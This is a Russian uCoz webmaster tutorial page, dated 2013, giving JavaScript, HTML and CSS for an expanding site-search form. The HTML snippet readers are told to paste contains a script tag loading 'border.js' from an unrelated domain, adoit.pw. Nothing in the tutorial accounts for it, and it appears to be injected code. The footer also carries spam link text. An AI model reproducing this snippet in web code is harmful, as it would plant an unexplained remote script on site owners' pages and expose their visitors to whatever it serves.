Кабинет
Гость

Сообщения:

Группа:
Гости
Время:13:03

 

Создаём раздвижную форму поиска для uCoz


Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!

 Добавлено:  11.08.2013, 12:29 | Добавил: greenpis | Теги:
Просмотров: 607  | Комментарии: 0 | Рейтинг: 0.0/0
Популярные файлы
Новый Топ пользователей с а...[ Просмотров 1272 ]
Кнопка "Регистрация&qu...[ Просмотров 977 ]
Информер - лучшие пользоват...[ Просмотров 941 ]
Информер последних коммента...[ Просмотров 912 ]
Еще один вид опросов[ Просмотров 903 ]
Блок нужные программы[ Просмотров 886 ]
Просилка регистрации для uc...[ Просмотров 843 ]
Быстрый «Заказ фильмов»[ Просмотров 835 ]
Скрипт статистика сайта для...[ Просмотров 827 ]
Новый вид статистики пользо...[ Просмотров 802 ]
Новые файлы
Создаём раздвижную форму по...[ Добавлен 11.08.2013 ]
Новое меню от Diz-cs[ Добавлен 11.08.2013 ]
SMS Бесплатно![ Добавлен 11.08.2013 ]
Мини-профиль для ucoz[ Добавлен 09.08.2013 ]
Вместительная статистика uc...[ Добавлен 09.08.2013 ]
Боковое Меню Цветное и серо...[ Добавлен 25.07.2013 ]
Скрипт "Наша кнопка&qu...[ Добавлен 25.07.2013 ]
Движущиеся блок "друзь...[ Добавлен 25.07.2013 ]
Темный мини профиль для Uco...[ Добавлен 24.07.2013 ]
Последние комментарии как н...[ Добавлен 24.07.2013 ]

...

Статистика






Besucherzahler male order brides russia
счетчик посещений



Яндекс цитирования